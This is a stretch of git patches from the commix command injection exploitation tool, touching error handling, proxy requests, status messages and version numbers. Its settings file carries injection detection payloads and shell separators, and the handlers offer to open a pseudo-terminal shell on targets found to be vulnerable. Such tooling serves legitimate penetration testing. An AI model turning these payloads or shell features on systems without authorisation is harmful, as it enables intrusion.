settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: - info_msg += str(the_type) + str(header_name) + str(check_parameter) + " for tests." + settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(check_parameter) + + info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) if menu.options.skip_heuristics: @@ -393,11 +389,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time pass if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - warn_msg = "Heuristic (basic) tests shows that" + header_name - if not header_name == " cookie" and not the_type == " HTTP header": - warn_msg += " " + str(http_request_method) + "" - warn_msg +=('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += the_type + check_parameter + " might not be injectable." + warn_msg = "Heuristic (basic) tests shows that " + warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." print(settings.print_bold_warning_msg(warn_msg)) if menu.options.failed_tries and \ diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 96e9a82fe0..2a1399bde1 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -267,13 +267,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ checks.total_of_requests() # Print the findings to terminal. - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method + "" - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -340,7 +334,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ while True : if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 2d52ad0c62..6a5322606c 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -277,13 +277,8 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: checks.total_of_requests() - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -350,7 +345,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ while True: if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index d576f54c7a..7b3e22ced2 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -486,13 +486,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: checks.total_of_requests() - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -567,7 +562,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 111d328fe3..e9fe804657 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -421,13 +421,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, checks.total_of_requests() # Print the findings to terminal. - finding = "" - if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - finding += http_request_method - finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter - - # Print the findings to terminal. - info_msg = finding + " appears to be injectable via " + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -506,7 +500,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, while True: if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index ae750d9416..0828381bbd 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -419,7 +419,7 @@ def shellshock_handler(url, http_request_method, filename): while True: if go_back == True: break - message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " + message = settings.CHECKING_PARAMETER + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: diff --git a/src/utils/settings.py b/src/utils/settings.py index d5fa28d361..8828c92d4c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "98" +REVISION = "99" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -295,11 +295,11 @@ def sys_argv_errors(): RAND_B = random.randint(1,10000) CALC_STRING = str(RAND_A) + "+" + str(RAND_B) BASIC_STRING = "(" + CALC_STRING + ")" -BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")&&echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", +BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")%26%26echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING ] ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" -ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")&&echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")%26%26echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL + " &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p=%i" + CMD_NUL ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) @@ -426,8 +426,8 @@ def sys_argv_errors(): # The command injection separators. SEPARATORS = [] -DEFAULT_SEPARATORS = ["", ";", "&", "|"] -SPECIAL_SEPARATORS = ["&&", "||", "%0a", "%0d%0a", "%1a"] +DEFAULT_SEPARATORS = ["", ";", "%26", "|"] +SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"] SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 @@ -1209,4 +1209,5 @@ def sys_argv_errors(): # Set predefined answers (e.g. "quit=N,follow=N"). ANSWERS = "" +CHECKING_PARAMETER = "" # eof \ No newline at end of file From 41647be9332bec6f8a3f3ae50aed7c336d53e0f6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 2 Jul 2022 10:46:45 +0300 Subject: [PATCH 0177/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index eb600e96ab..161a94c4ae 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. From 24afb16dec780f01e23c53d8161469ad0d57d44e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 3 Jul 2022 10:19:55 +0300 Subject: [PATCH 0178/1023] Updated to v3.5 --- doc/CHANGELOG.md | 2 +- setup.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 161a94c4ae..05c16ad5ac 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,4 @@ -## Version 3.5 (TBA) +## Version 3.5 (2022-07-03) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. diff --git a/setup.py b/setup.py index d328f17c46..5ffe34c7e7 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.5-dev', + version='3.5', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/utils/settings.py b/src/utils/settings.py index 8828c92d4c..0cc96984ff 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -242,7 +242,7 @@ def sys_argv_errors(): AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" REVISION = "99" -STABLE_RELEASE = False +STABLE_RELEASE = True if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" else: From dd1f7994a87b10f86b353a71f3cf6a70a9bec308 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Jul 2022 14:43:40 +0300 Subject: [PATCH 0179/1023] Fixes https://github.com/commixproject/commix/issues/774 --- setup.py | 2 +- src/core/injections/controller/checks.py | 2 +- src/utils/settings.py | 6 +++--- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/setup.py b/setup.py index 5ffe34c7e7..9be60fe7f4 100644 --- a/setup.py +++ b/setup.py @@ -17,7 +17,7 @@ setup( name='commix', - version='3.5', + version='3.6-dev', description='Automated All-in-One OS Command Injection Exploitation Tool', long_description=open('README.md').read(), long_description_content_type='text/markdown', diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e0149655bf..aa14554b58 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -210,7 +210,7 @@ def tab_autocompleter(): readline.parse_and_bind("tab: complete") # Tab compliter readline.set_completer(menu.tab_completer) - except AttributeError: + except (TypeError, AttributeError) as e: error_msg = "Failed while trying to use platform's readline library." print(settings.print_error_msg(error_msg)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0cc96984ff..9d2cc475a5 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -240,9 +240,9 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" -VERSION_NUM = "3.5" -REVISION = "99" -STABLE_RELEASE = True +VERSION_NUM = "3.6" +REVISION = "1" +STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" else: From 4a904e28c8e2050f66a1eee1487f54a77c90c2ed Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Jul 2022 10:03:48 +0300 Subject: [PATCH 0180/1023] Minor update --- setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.py b/setup.py index 9be60fe7f4..dc661019d8 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2019 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2022 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by From 96858cf80c13e4aa9eeb11d4736cd9c9e4e1701a Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 31 Aug 2022 17:59:52 +0300 Subject: [PATCH 0181/1023] Fixes https://github.com/commixproject/commix/issues/778 --- .../injections/semiblind/techniques/file_based/fb_handler.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 7b3e22ced2..a0829a16f9 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -80,7 +80,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon example_root_dir = "/var/www" message = "Please provide the host's root directory (e.g. '" message += example_root_dir + "') > " - settings.WEB_ROOT = common.read_input(message, default=None, check_batch=True) + settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) if settings.WEB_ROOT.endswith(("\\", "/")): settings.WEB_ROOT = settings.WEB_ROOT[:-1] if len(settings.WEB_ROOT) == 0: diff --git a/src/utils/settings.py b/src/utils/settings.py index 9d2cc475a5..af0464170b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "1" +REVISION = "2" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6edf72d966d82d3b33ec6089d7ed7f2de9626335 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 4 Sep 2022 12:38:21 +0300 Subject: [PATCH 0182/1023] Fixes https://github.com/commixproject/commix/issues/779 --- doc/CHANGELOG.md | 3 +++ src/core/main.py | 16 ++++++++++------ src/core/requests/headers.py | 1 + src/core/requests/redirection.py | 4 ++-- src/utils/settings.py | 2 +- 5 files changed, 17 insertions(+), 9 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 05c16ad5ac..a24ce372df 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,6 @@ +## Version 3.6 (TBA) +* Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). + ## Version 3.5 (2022-07-03) * Fixed: Multiple bug-fixes regarding several reported unhandled exceptions. * Revised: Improvements regarding Windows-based payloads for every supported technique. diff --git a/src/core/main.py b/src/core/main.py index dc16fc24ef..7285106518 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -209,12 +209,16 @@ def examine_request(request, url): reason = str(err_msg) if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: print(settings.print_critical_msg(err_msg)) - elif menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." + else: + if menu.options.auth_type and menu.options.auth_cred: + err_msg = "The provided pair of " + menu.options.auth_type + err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" + err_msg += " seems to be invalid." + err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," + err_msg += " in order to perform a dictionary-based attack." + else: + err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")." + err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index dab16c0b3f..4843c25d74 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -186,6 +186,7 @@ def https_open(self, req): print(settings.SINGLE_WHITESPACE) if settings.UNAUTHORIZED_ERROR in str(err_msg): settings.UNAUTHORIZED = unauthorized = True + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index e3d0f5f940..213757bb15 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -90,10 +90,10 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if settings.VALID_URL: checks.connection_exceptions(err_msg, request) else: - pass + return url except AttributeError: - pass + return url # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index af0464170b..08909e0026 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "2" +REVISION = "3" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6eccfb128190230516d3ac3d6eafb5ff4dcd2668 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 5 Sep 2022 07:59:32 +0300 Subject: [PATCH 0183/1023] Minor improvement regarding parsing HTTP request(s) through HTTP proxy (i.e `--proxy` option). --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 4 +- src/core/main.py | 43 +------------- src/core/requests/proxy.py | 50 +++++------------ src/core/requests/requests.py | 59 ++++++++++++++++++++ src/utils/settings.py | 2 +- 6 files changed, 79 insertions(+), 80 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index a24ce372df..0115fbc2e6 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.6 (TBA) +* Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). * Revised: Minor improvement regarding handling HTTP Error 401 (Unauthorized). ## Version 3.5 (2022-07-03) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c6b59dbdc9..e189028203 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -110,7 +110,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, headers.do_check(request) response = requests.get_request_response(request) - if type(response) is not bool: + if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.BASIC_COMMAND_INJECTION_RESULT, html_data) if match: @@ -174,7 +174,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t headers.do_check(request) response = requests.get_request_response(request) - if type(response) is not bool: + if type(response) is not bool and response is not None: html_data = checks.page_encoding(response, action="decode") match = re.search(settings.CODE_INJECTION_PHPINFO, html_data) if match: diff --git a/src/core/main.py b/src/core/main.py index 7285106518..d123ca2c90 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -203,43 +203,7 @@ def examine_request(request, url): raise SystemExit() except Exception as err_msg: - settings.VALID_URL = False - reason = "" - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - reason = str(err_msg) - if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - print(settings.print_critical_msg(err_msg)) - else: - if menu.options.auth_type and menu.options.auth_cred: - err_msg = "The provided pair of " + menu.options.auth_type - err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" - err_msg += " seems to be invalid." - err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," - err_msg += " in order to perform a dictionary-based attack." - else: - err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")." - err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ - settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ - settings.NOT_FOUND_ERROR in str(err_msg).lower(): - reason = str(err_msg) - if settings.MULTI_TARGETS: - if len(reason) != 0: - reason = reason + ". Skipping to the next target." - print(settings.print_critical_msg(reason)) - if settings.EOF: - print(settings.SINGLE_WHITESPACE) - return False - else: - err_msg = reason - if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): - pass - else: - if len(err_msg) != 0: - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + requests.request_failed(err_msg) """ Check internet connection before assessing the target. @@ -294,14 +258,11 @@ def init_request(url): settings.PARAMETER_DELIMITER = menu.options.pdel request = _urllib.request.Request(url) headers.do_check(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy: - proxy.do_check(url) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) # Used a valid pair of valid credentials - if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL !=0 : + if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL != 0 : debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type debug_msg += " HTTP authentication credentials." print(settings.print_debug_msg(debug_msg)) diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index c2bac33ae2..6fbf680179 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -18,10 +18,23 @@ from src.utils import menu from src.utils import settings from src.core.requests import headers +from src.core.requests import requests from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import http_client as _http_client +""" +Use the defined HTTP Proxy +""" +def use_proxy(request): + headers.do_check(request) + request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) + try: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + return response + except Exception as err_msg: + return requests.request_failed(err_msg) + """ Check if HTTP Proxy is defined. """ @@ -33,41 +46,6 @@ def do_check(url): request = _urllib.request.Request(url, menu.options.data.encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url) - headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except (_urllib.error.URLError, _urllib.error.HTTPError, _http_client.BadStatusLine) as err: - err_msg = "Unable to connect to the target URL or proxy." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except socket.timeout: - err_msg = "The connection to target URL or proxy has timed out." - print(settings.print_critical_msg(err_msg) + "\n") - raise SystemExit() - -""" -Use the defined HTTP Proxy -""" -def use_proxy(request): - _ = True - headers.do_check(request) - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) - try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response - except _urllib.error.HTTPError as err: - if str(err.code) == settings.INTERNAL_SERVER_ERROR or str(err.code) == settings.BAD_REQUEST: - return False - else: - _ = False - except (_urllib.error.URLError, _http_client.BadStatusLine) as err: - _ = False - if not _: - err_msg = "Unable to connect to the target URL or proxy." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - + use_proxy(request) # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 85cf8f3008..315cc4eb99 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -331,6 +331,65 @@ def get_request_response(request): raise SystemExit() return response +""" +Exceptions regarding requests failure(s) +""" +def request_failed(err_msg): + try: + error_msg = str(err_msg.args[0]).split("] ")[1] + except IndexError: + try: + error_msg = str(err_msg.args[0]) + except IndexError: + error_msg = str(err_msg) + if any(x in str(error_msg).lower() for x in ["connection refused", "timeout"]): + err = "Unable to connect to " + if menu.options.proxy: + err += "proxy" + else: + err += "the target URL" + err = err + " (Reason: " + str(error_msg) + ")." + print(settings.print_critical_msg(err)) + raise SystemExit() + + settings.VALID_URL = False + reason = "" + if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + reason = str(err_msg) + if menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + pass + else: + if menu.options.auth_type and menu.options.auth_cred: + err_msg = "The provided pair of " + menu.options.auth_type + err_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'" + err_msg += " seems to be invalid." + err_msg += " Try to rerun without providing '--auth-cred' and '--auth-type' options," + err_msg += " in order to perform a dictionary-based attack." + else: + err_msg = "Not authorized, try to provide right HTTP authentication type and valid credentials (" + settings.UNAUTHORIZED_ERROR + ")." + err_msg += " If this is intended, try to rerun by providing a valid value for option '--ignore-code'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + if settings.INTERNAL_SERVER_ERROR in str(err_msg).lower() or \ + settings.FORBIDDEN_ERROR in str(err_msg).lower() or \ + settings.NOT_FOUND_ERROR in str(err_msg).lower(): + reason = str(err_msg) + if settings.MULTI_TARGETS: + if len(reason) != 0: + reason = reason + ". Skipping to the next target." + print(settings.print_critical_msg(reason)) + if settings.EOF: + print(settings.SINGLE_WHITESPACE) + return False + else: + err_msg = reason + if settings.UNAUTHORIZED_ERROR in str(err_msg).lower(): + return True + else: + if len(err_msg) != 0: + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + """ Check if target host is vulnerable. (Cookie-based injection) """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 08909e0026..73983133a7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "3" +REVISION = "4" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From f9f926e6c36f7589d4e914d16e78fa24242c9978 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 7 Sep 2022 08:21:24 +0300 Subject: [PATCH 0184/1023] Minor update --- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 315cc4eb99..b22a4bd401 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -375,7 +375,7 @@ def request_failed(err_msg): settings.NOT_FOUND_ERROR in str(err_msg).lower(): reason = str(err_msg) if settings.MULTI_TARGETS: - if len(reason) != 0: + if len(reason) != 0 and menu.options.ignore_code != settings.UNAUTHORIZED_ERROR: reason = reason + ". Skipping to the next target." print(settings.print_critical_msg(reason)) if settings.EOF: diff --git a/src/utils/settings.py b/src/utils/settings.py index 73983133a7..e8aa638e2e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.6" -REVISION = "4" +REVISION = "5" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 7a3d5dae26f41072a560147330ebac4cb99df473 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sat, 10 Sep 2022 12:20:26 +0300 Subject: [PATCH 0185/1023] Minor update --- src/core/injections/controller/checks.py | 12 +++++++++++- 